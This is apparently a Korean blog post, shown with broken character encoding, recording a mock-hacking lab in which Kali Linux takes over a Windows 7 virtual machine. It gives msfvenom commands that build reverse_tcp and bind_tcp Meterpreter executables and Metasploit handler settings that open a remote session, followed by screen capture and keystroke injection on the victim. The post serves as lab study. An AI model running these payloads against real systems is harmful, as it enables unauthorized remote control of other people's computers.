! ์ด ํฌ์คํธ์ ๋ด์ฉ์ ์ ๊ณต ๊ฐ์์์ ๋ค๋ฃฌ ๋ฆฌ๋ ์ค ๋ณด์ ์ค์ต์ ๊ธฐ๋ก์ฉ์ด๋ฉฐ, ์ด๋ ํ์ต ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค.
! ์ด๋ ํ ๊ฒฝ์ฐ์๋ ์ด๋ฌํ ๊ธฐ์ ์ ์ ์ฉํ๊ฑฐ๋ ๋ถ๋ฒ์ ์ธ ํ๋์ ์ฌ์ฉํด์๋ ์ ๋ฉ๋๋ค.
! ๋ชจ์ ํดํน๊ณผ ๊ด๋ จ๋ ์ค์ต์ ํฉ๋ฒ์ ์ธ ํ๊ฒฝ์์๋ง ์ํ๋์ด์ผ ํ๋ฉฐ, ๋ฌด๋จ์ผ๋ก ๋ค๋ฅธ ์ฌ๋์ ์์คํ ์ ์ ๊ทผํ๋ ๋ฑ์ ํ์๋ ๋ฒ์ ์ธ ๋ฌธ์ ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์๋ ํญ์ ์ค๋ฆฌ์ ์ธ ์ฑ ์์ ๊ฐ๊ณ ํ๋ํด์ผ ํฉ๋๋ค.
๐ ์ค์ต ์ ์ฉ์ด ์ ๋ฆฌ
· Reverse TCP
- (์ฐ๊ฒฐ ์์ ์ฃผ์ฒด) ๊ณต๊ฒฉ ๋์ ์์คํ ์ด ์ฐ๊ฒฐ์ ์์
- (์ฐ๊ฒฐ ๋ฐฉํฅ) ๊ณต๊ฒฉ์๋ Meterpreter๋ฅผ ์คํํ๋ ๋์ ์์ ์ ์์คํ ์์ ์ฐ๊ฒฐ์ ๋๊ธฐ
· Bind TCP
- (์ฐ๊ฒฐ ์์ ์ฃผ์ฒด) ๊ณต๊ฒฉ์๊ฐ ์ฐ๊ฒฐ์ ์์
- (์ฐ๊ฒฐ ๋ฐฉํฅ) ๊ณต๊ฒฉ์์ ์์คํ ์์ ๊ณต๊ฒฉ ๋์ ์์คํ ์ผ๋ก์ ์ฐ๊ฒฐ
- ์ค์ต ํ๊ฒฝ
- (๊ฐ์ ํ๊ฒฝ VMware Workstation
- (๊ณต๊ฒฉ์ PC) Kali Linux
- (๊ณต๊ฒฉ ๋์ PC) Windows 7
01. reverse ์ ์ฑ์ฝ๋๋ฅผ ์ฌ์ฉํ windows 7 ํดํน
01-01. ๊ณต๊ฒฉ์ PC ํ๊ฒฝ ์ค์
- ์ ์ฑ์ฝ๋ ๋ค์ด์ ์ํ Apache2 ์๋ฒ ์คํ
~# service apache2 start
~# service apache2 status
01-02. msfvenom ๋ช ๋ น์ด๋ก ์ ์ฑ์ฝ๋ ํ์ผ ์์ฑ
* msfvenom = Metasploit์ Payload Generator๋ก, ๋ค์ํ ํ์ด๋ก๋๋ฅผ ์์ฑํ๋ ๋ฐ ์ฌ์ฉ๋จ
ํ์ด๋ก๋๋ ๊ณต๊ฒฉ์๊ฐ ์์คํ ์ ์ฃผ์ ํ๊ณ ์คํํ ์ฝ๋๋ฅผ ์๋ฏธ.
์ผ๋ฐ์ ์ผ๋ก ์๊ฒฉ ์/๋ช ๋ น ์์ ํฌํจํ ์ ์ฑ์ฝ๋๋ฅผ ์์ฑํ๋ ๋ฐ ์ฌ์ฉ
* ์ผ๋ฐ์ ์ธ msfvenom์ ๊ตฌ๋ฌธ
msfvenom -p [Payload] [Options]
- reverse ์ ์ฑ์ฝ๋ ํ์ผ ์์ฑ
~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[๊ณต๊ฒฉ์ IP] -f exe -o reverse_path.exe
* ์ด ๋ช ๋ น์ Meterpreter๋ฅผ ์ฌ์ฉํ์ฌ Windows ์์คํ ์ ๋ํ reverse TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํ๊ณ , ํด๋น ํ์ด๋ก๋๋ฅผ reverse_path.exe๋ผ๋ ์ด๋ฆ์ ์คํ ๊ฐ๋ฅํ ํ์ผ๋ก ์ ์ฅํ๋ค. ์ด ํ์ผ์ ๊ณต๊ฒฉ์๊ฐ ์ค์ ํ LHOST(๊ณต๊ฒฉ์ IP)๋ก๋ถํฐ Meterpreter ์ ธ์ ์ ๊ทผํ๊ธฐ ์ํด ์ฌ์ฉ๋ ์ ์๋ค.
๋ช ๋ น์ด ๊ฐ ์ต์ ์ ์ญํ ์ ๋ค์๊ณผ ๊ฐ๋ค.
' -p windows/meterpreter/reverse_tcp '
- ์ด ์ต์ ์ ์์ฑํ๋ จ๋ ํ์ด๋ก๋์ ์ ํ์ ์ง์
- ์ฌ๊ธฐ์๋ Meterprter ์ ธ์ ์ฌ์ฉํ์ฌ Windows ์์คํ ์ ๋ํ reverse TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํ๋ ค๋ ๊ฒ์
' LHOST=[๊ณต๊ฒฉ์ IP] '
- ์ด ์ต์ ์ ๊ณต๊ฒฉ์๊ฐ ์ฐ๊ฒฐ์ ๊ธฐ๋ค๋ฆฌ๋ IP ์ฃผ์๋ฅผ ์ง์
- ์ฌ๊ธฐ์๋ Meterpreter๊ฐ ์ฐ๊ฒฐ๋๊ธฐ ์ํด ๊ณต๊ฒฉ ๋์ ์์คํ ์ด ์ฐ๊ฒฐํด์ผ ํ๋ IP ์ฃผ์, ์ฆ ๊ณต๊ฒฉ์ IP ์ฃผ์๋ฅผ ์ ๊ณตํด์ผ ํจ
' -f exe '
- ์ด ์ต์ ์ ์์ฑ๋ ํ์ผ์ ํ์์ ์ง์
- ์ฌ๊ธฐ์๋ ์คํ๊ฐ๋ฅํ Windows ์์ฉ ํ๋ก๊ทธ๋จ(.exe)ํ์ผ ํ์์ ์ ํํจ
' -o reverse_path.exe '
- ์ด ์ต์ ์ ์์ฑ๋ ํ์ด๋ก๋ ํ์ผ์ ์ด๋ฆ๊ณผ ๊ฒฝ๋ก๋ฅผ ์ง์
- ์ฌ๊ธฐ์๋ ์์ฑ๋ ํ์ผ์ reverse_path.exe๋ก ์ ์ฅํ ๊ฒ์
01-03. Metasploit์ ์ฌ์ฉํ์ฌ reverse ๊ณต๊ฒฉ ๋ช ๋ น์ด ์คํ
- ๋ช ๋ น์ด ์ ๋ ฅ์ ์ํ msfconsole ์คํ
- reverse TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ๊ณต๊ฒฉ ์ํ ๋ช ๋ น์ด
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST [๊ณต๊ฒฉ์ IP]
> set ExitSession false
> exploit -j
· ' use exploit/multi/handler '
- Metasploit์์ ์ญํ ์ ์ํํ exploit ๋ชจ๋์ ์ ํ
- ์ฌ๊ธฐ์๋ Meterpreter๋ฅผ ์ฌ์ฉํ์ฌ ๋ค์ค ํ๋ซํผ์ ๋ํ ํธ๋ค๋ฌ๋ฅผ ์ฌ์ฉํ๊ฒ ๋ค๋ ๊ฒ์ ๋ํ๋
· ' set payload windows/meterpreter/reverse_tcp '
- ์ ํํ exploit ๋ชจ๋์ ๋ํ ํ์ด๋ก๋๋ฅผ ์ค์
- ์ฌ๊ธฐ์๋ Meterpreter๋ฅผ ์ฌ์ฉํ์ฌ Windows ์์คํ ์ ๋ํ reverse TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ํ์ด๋ก๋๋ฅผ ์ ํ
· ' set LHOST [๊ณต๊ฒฉ์ IP] '
- ๊ณต๊ฒฉ์๊ฐ ์ฐ๊ฒฐ์ ๊ธฐ๋ค๋ฆฌ๋ IP ์ฃผ์๋ฅผ ์ค์ = ๊ณต๊ฒฉ์ IP
- ์ฌ๊ธฐ์๋ Meterpreter ํ์ด๋ก๋๊ฐ ์ฐ๊ฒฐ๋๊ธฐ ์ํด ๊ณต๊ฒฉ ๋์ ์์คํ ์ด ์ฐ๊ฒฐํด์ผํ๋ IP ์ฃผ์๋ฅผ ์ ๊ณต
· ' set Exitsession false '
- Meterpreter ์ธ์ ์ ์ข ๋ฃํ ๋ Metasploit์ด ์๋์ผ๋ก ์ข ๋ฃ๋๋๋ก ์ค์ ํจ
- Meterpreter ์ธ์ ์ ์ ์งํ๊ณ ์ถ๊ฐ์ ์ธ ์์ ์ ์ํํ๊ธฐ ์ํ ๊ฒ
· ' exploit -j '
- ์ค์ ํ exploit์ ์คํํ๊ณ ๊ณต๊ฒฉ์ ์ํํจ
- '-j' ์ต์ ์ exploit์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์คํํ๊ณ ์ ์ด๋ฅผ ๋ค์ ํฐ๋ฏธ๋๋ก ๋ฐํํจ
์ด๋ฌํ ๊ณผ์ ์ ํตํด Metasploit์ Meterpreter๋ฅผ ์ฌ์ฉํ์ฌ ์ค์ ํ IP ์ฃผ์๋ก๋ถํฐ Windows ์์คํ ์ ๋ํ reverse TCP ์ฐ๊ฒฐ์ ๋๊ธฐํ๊ณ , ์ฑ๊ณต์ ์ผ๋ก ์ฐ๊ฒฐ๋๋ฉด Meterpreter ์ธ์ ์ ์ ๊ณตํ๋ค. ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ํด๋น ์์คํ ์์ ๋ค์ํ ์์ ์ ์ํํ ์ ์๋ค.
01-04. Windows์์ ์ ์ฑ์ฝ๋ ํ์ผ ์คํ ํ ๊ณต๊ฒฉ ์ํ
- reverse_path.exe ํ์ผ์ ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก ์คํ
- ๊ณต๊ฒฉ์ PC(Kali)์์ ์ฐ๊ฒฐ๋ ๊ณต๊ฒฉ ๋์(Windows) IP ํ์ธ
- ์ธ์ ๋ฆฌ์คํธ ํ์ธํ์ฌ ๊ณต๊ฒฉ ๋์ IP ํ์ธํ์ฌ ๊ณต๊ฒฉ ๋์ ์ ํ
- screenshot ๋ช ๋ น์ด ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ ๋์ PC ํ๋ฉด ์บก์ณ ๊ฐ๋ฅ
02. bind ์ ์ฑ์ฝ๋๋ฅผ ์ฌ์ฉํ windows 7 ํดํน
02-01. ๊ณต๊ฒฉ์ PC ํ๊ฒฝ ์ค์
- 01-01๊ณผ ๋์ผ
02-02. msfvenom ๋ช ๋ น์ด๋ก ์ ์ฑ์ฝ๋ ํ์ผ ์์ฑ
- bind ์ ์ฑ์ฝ๋ ํ์ผ ์์ฑ
~# msfvenom -p windows/meterpreter/bind_tcp -f exe -o bind_patch.exe
* ์ด ๋ช ๋ น์ Meterpreter๋ฅผ ์ฌ์ฉํ์ฌ Windows ์์คํ ์ ๋ํ bind TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํ๊ณ , ํด๋น ํ์ด๋ก๋๋ฅผ bind_path.exe๋ผ๋ ์ด๋ฆ์ ์คํ ๊ฐ๋ฅํ ํ์ผ๋ก ์ ์ฅํ๋ค. ์ด ํ์ผ์ ํน์ ํฌํธ์์ ๋๊ธฐํ๊ณ ์๋ Meterpreter ์ ธ์ ์ฐ๊ฒฐํ๊ธฐ ์ํด ์ฌ์ฉ๋ ์ ์๋ค.
๋ช ๋ น์ด ๊ฐ ์ต์ ์ ์ญํ ์ ๋ค์๊ณผ ๊ฐ๋ค.
' -p windows/meterpreter/bind_tcp '
- ์ด ์ต์ ์ ์์ฑํ๋ ค๋ ํ์ด๋ก๋์ ์ ํ์ ์ง์
- ์ฌ๊ธฐ์๋ Meterprter ์ ธ์ ์ฌ์ฉํ์ฌ Windows ์์คํ ์์ bind TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํ๋ ค๋ ๊ฒ์
- bind tcp ์ฐ๊ฒฐ์ ํน์ ํฌํธ์์ ์ฐ๊ฒฐ์ ๋๊ธฐํ๊ณ , ์ฐ๊ฒฐ์ด ์ด๋ฃจ์ด์ง๋ฉด Meterpreter ์ ธ์ ์คํ
' -f exe '
- ์ด ์ต์ ์ ์์ฑ๋ ํ์ผ์ ํ์์ ์ง์
- ์ฌ๊ธฐ์๋ ์คํ๊ฐ๋ฅํ Windows ์์ฉ ํ๋ก๊ทธ๋จ(.exe)ํ์ผ ํ์์ ์ ํ
' -o bind_path.exe '
- ์ด ์ต์ ์ ์์ฑ๋ ํ์ด๋ก๋ ํ์ผ์ ์ด๋ฆ๊ณผ ๊ฒฝ๋ก๋ฅผ ์ง์
- ์ฌ๊ธฐ์๋ ์์ฑ๋ ํ์ผ์ bind_path.exe๋ก ์ ์ฅํ ๊ฒ์
02-03. Metasploit์ ์ฌ์ฉํ์ฌ bind ๊ณต๊ฒฉ ๋ช ๋ น์ด ์คํ
- ๋ช ๋ น์ด ์ ๋ ฅ์ ์ํ msfconsole ์คํ
- bind TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ๊ณต๊ฒฉ ์ํ ๋ช ๋ น์ด
> use exploit/multi/handler
> set payload windows/meterpreter/bind_tcp
> set LHOST [๊ณต๊ฒฉ์ IP]
> set LPORT [๊ณต๊ฒฉ์ Port]
> set RHOST [๊ณต๊ฒฉ๋์ IP]
> set RPORT [๊ณต๊ฒฉ๋์ Port]
> set ExitSession false
> exploit -j
· ' use exploit/multi/handler '
- Metasploit์์ ์ญํ ์ ์ํํ exploit ๋ชจ๋์ ์ ํ
- ์ฌ๊ธฐ์๋ Meterpreter๋ฅผ ์ฌ์ฉํ์ฌ ๋ค์ค ํ๋ซํผ์ ๋ํ ํธ๋ค๋ฌ๋ฅผ ์ฌ์ฉํ๊ฒ ๋ค๋ ๊ฒ์ ๋ํ๋
· ' set payload windows/meterpreter/bind_tcp '
- ์ ํํ exploit ๋ชจ๋์ ๋ํ ํ์ด๋ก๋๋ฅผ ์ค์
- ์ฌ๊ธฐ์๋ Meterpreter๋ฅผ ์ฌ์ฉํ์ฌ Windows ์์คํ ์ ๋ํ bind TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ํ์ด๋ก๋๋ฅผ ์ ํ
· ' set LHOST [๊ณต๊ฒฉ์ IP] '
- ๊ณต๊ฒฉ์๊ฐ ์ฐ๊ฒฐ์ ๊ธฐ๋ค๋ฆฌ๋ IP ์ฃผ์๋ฅผ ์ค์ = ๊ณต๊ฒฉ์ IP
- ์ฌ๊ธฐ์๋ Meterpreter ํ์ด๋ก๋๊ฐ ์ฐ๊ฒฐ๋๊ธฐ ์ํด ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉํ IP ์ฃผ์๋ฅผ ์ ๊ณต
· ' set LPORT [๊ณต๊ฒฉ์ Port] '
- ๊ณต๊ฒฉ์๊ฐ Meterpreter ์ธ์ ์ ์์ ํ๊ธฐ ์ํด ๋๊ธฐํ ํฌํธ ๋ฒํธ๋ฅผ ์ค์
· ' set RHOST [๊ณต๊ฒฉ ๋์ IP] '
- ๊ณต๊ฒฉ ๋์์ IP ์ฃผ์๋ฅผ ์ค์
- ์ฌ๊ธฐ์๋ Meterpreter ํ์ด๋ก๋๋ฅผ ์คํํ Windows ์์คํ ์ IP ์ฃผ์๋ฅผ ์ ๊ณต
· ' set RPORT [๊ณต๊ฒฉ ๋์ Port] '
- ๊ณต๊ฒฉ ๋์์ ํฌํธ ๋ฒํธ๋ฅผ ์ค์
· ' set Exitsession false '
- Meterpreter ์ธ์ ์ ์ข ๋ฃํ ๋ Metasploit์ด ์๋์ผ๋ก ์ข ๋ฃ๋๋๋ก ์ค์ ํจ
- Meterpreter ์ธ์ ์ ์ ์งํ๊ณ ์ถ๊ฐ์ ์ธ ์์ ์ ์ํํ๊ธฐ ์ํ ๊ฒ
· ' exploit -j '
- ์ค์ ํ exploit์ ์คํํ๊ณ ๊ณต๊ฒฉ์ ์ํํจ
- '-j' ์ต์ ์ exploit์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์คํํ๊ณ ์ ์ด๋ฅผ ๋ค์ ํฐ๋ฏธ๋๋ก ๋ฐํํจ
์ด๋ฌํ ๊ณผ์ ์ ํตํด Metasploit์ Meterpreter๋ฅผ ์ฌ์ฉํ์ฌ ์ค์ ํ IP ์ฃผ์์ bind TCP ์ฐ๊ฒฐ์ ๊ธฐ๋ค๋ฆฌ๊ณ , ์ฑ๊ณต์ ์ผ๋ก ์ฐ๊ฒฐ๋๋ฉด Meterpreter ์ธ์ ์ ์ ๊ณตํ๋ค. ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ํด๋น ์์คํ ์์ ๋ค์ํ ์์ ์ ์ํํ ์ ์๋ค.
02-04. Windows์์ ์ ์ฑ์ฝ๋ ํ์ผ ์คํ ํ ๊ณต๊ฒฉ ์ํ
- ๊ณต๊ฒฉ์ PC(Kali)์์ ์ฐ๊ฒฐ๋ ๊ณต๊ฒฉ ๋์(Windows) IP ํ์ธ
- ์ธ์ ๋ฆฌ์คํธ ํ์ธํ์ฌ ๊ณต๊ฒฉ ๋์ IP ํ์ธํ์ฌ ๊ณต๊ฒฉ ๋์ ์ ํ
- keyboard_send ๋ช ๋ น์ด ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ ๋์ PC์ keyboard ์ ์ด ๊ฐ๋ฅ
'๐จ ๋ณด์ ์ค๋ฌด > ๋ชจ์ ํดํน' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๋ชจ์ํดํน] ์ ๋์ค/๋ฆฌ๋ ์ค ๊ธฐ๋ฐ์ ์ด์์ฒด์ ์นจํฌ (0) | 2025.02.06 |
---|---|
[๋ชจ์ ํดํน] Metasploitable์ ์ด์ฉํ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (0) | 2024.06.03 |
[๋ชจ์ ํดํน] ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ๊ณต๊ฒฉ ์ค์ต (0) | 2024.06.03 |
[๋ชจ์ ํดํน] ์๋์ฐ8 ์ฌ๋ถํ ์ ์ ์ฑ์ฝ๋ ์คํ (0) | 2024.03.05 |
[๋ชจ์ ํดํน] ์๋์ฐ8/์๋์ฐ10 OS ์นจํฌ ์์ (0) | 2024.03.05 |